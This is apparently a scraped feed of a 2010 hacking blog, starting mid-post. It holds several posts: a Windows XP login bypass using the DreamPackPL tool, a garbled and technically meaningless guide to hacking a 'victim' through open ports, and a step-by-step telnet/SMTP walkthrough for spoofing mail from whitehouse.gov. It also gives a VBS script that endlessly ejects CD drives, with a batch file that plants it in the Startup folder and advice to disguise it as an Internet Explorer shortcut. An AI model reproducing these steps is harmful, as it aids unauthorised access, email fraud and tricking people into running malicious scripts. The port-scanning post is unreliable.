14. Go to commands and enable the options and enable the god command.
How to Hack Into a Windows XP Computer Without Changing Password – www.crack$hack.ws
15. Type “god” in the password field to get in Windows.

You can also go to Passwords and select “Logon with wrong password and hash”. This option allows you to login with ANY password.

Note: I was unable to bring up the DreamPackPL for the first time because I have Kaspersky Anti-Virus already running in background. I believe most antivirus already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. DreamPackPL helps you bypass the Windows Login screen and it is not destructive.

Fastest Way to Hack into Others System

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:42:00 +0530

Well as I already mentioned you can hack any system which is connected to what we call “The INTERNET”. To connect internet a system allocates a port for communication and Data Transfer. So we got to do is to get into that port that is to be hacked.

Steps: -

Download the Software PORT SCANNER from google.
Get the IP address of the victim whose port is open.
NETLAB which gives u all information includes victim IP address,Area from where he is accessing internet….
The IP of victim u found initially into NETLAB .
Thats it now you can access his system.

Note : This is really Hardcore Hacking and you should be very much careful while doing all this and you do all this on your own responsibility. This site is never responsible for anything you after reading any article from this site and there are almost 50-50 chances that you may get caught so don’t try this unless you are aware of everthing. Yes you can freak some of your friends by telling them that you can hack their systems very easily.

Good Luck!

Learn how to send your fake email

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:41:00 +0530

So, you want to learn how to send your own fake mail? It’s extraordinarily easy to do, and requires no extra software installed on your PC at all. It can be done with Windows, Macintosh, Linux – any modern PC that has an internet connection will do it.

There are a just a few simple steps. First, you’ll need to decide on the FROM and the TO email addresses. If the FROM address that you’re choosing isn’t a real one, make sure that the domain name (the bit after the @ sign) is a real one. If it’s not a real one, it almost certainly won’t work.

For the purpose of this tutorial, we’ll be sending from bush@whitehouse.gov to dummy@anysite.com.

Second, you’ll need to find out the mail server that your recipient is using.

Click Start, Run, enter “CMD”, then presss OK. In the window that comes up, type nslookup -q=MX anysite.com

Go to Applications, Utilities, and choose Terminal. In the window that comes up, type nslookup -q=MX anysite.com

Bring up your favourite shell, and type nslookup -q=MX anysite.com

There will be a lot of information on the screen – all you need to look for is a line that talks about a mail exchanger. If there are several, pick the one with the lowest “preference number”.

anysite.com MX preference = 10, mail exchanger = mail.anysite.com

Now, you’ll need to connect to this mail exchanger using telnet. This is the same for any PC, but Vista users may not have it installed by default – see this note about getting telnet on Vista before you continue. When you’re ready, type:

telnet mail.anysite.com 25

Press enter, and after a short pause, you should see a welcome message from the server.

Ok, so now you’re connected. You need to enter the following information – press ENTER at each new line. You won’t be able to press backspace to delete a mistake, so you’ll need to type everything correctly first time!

HELO whitehouse.gov

This tells the mail server that we are “whitehouse.gov”.

MAIL FROM:

This tells the server who is sending the mail.

RCPT TO:

This tells the server who to deliver the mail to. At this point, if the recipient doesn’t exist, you may see a warning message (but not always).

DATA

This tells the server that we’re ready to start writing our message. It should acknowledge, telling you to end your message with a full stop (period) on a single line. All we need to do now, is write our message and don’t forget that full stop at the end.

Hello dummy@anysite, I managed to send a fake mail all by myself!.

Dont forget that last dot. When you’ve done that, and pressed enter, simply enter QUIT and your mail should be delivered.

There’s a little bit more to it, of course. You’ll need to enter proper “headers” if you want the mail to look more believable. After doing the DATA command, I’d recommend pasting in the following “headers” to make sure it looks realistic when viewed in Outlook, Hotmail, etc.

Cd Drive Hack

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:33:00 +0530

Here I will show you a basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs part

set wmp = createObject(“wmplayer.ocx.7″)
set drives = wmp.cdromCollection

sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count – 1
drives.item(i).eject()
next
end if
loop
end sub

open_saysame()

Now this is funny but what if it was even funnier. what if every time you started you r computer it loaded? that could make it even better… so open a new notepad document (blank) and insert this code into it NOTE: numbered to show which line it is.

1:)copy CDfun.vbs “c:\Documents and Settings\%username%\Start Menu\Programs\Startup\”
2:)CDfun.vbs

Save this as run.bat, now comes the fun part. all you need to do is get them to somehow open this run.bat. there are many ways. one way is to make a shortcut to it called “internet Explorer” and right click to change properties on icon. that way it will look just like Internet Explorer.
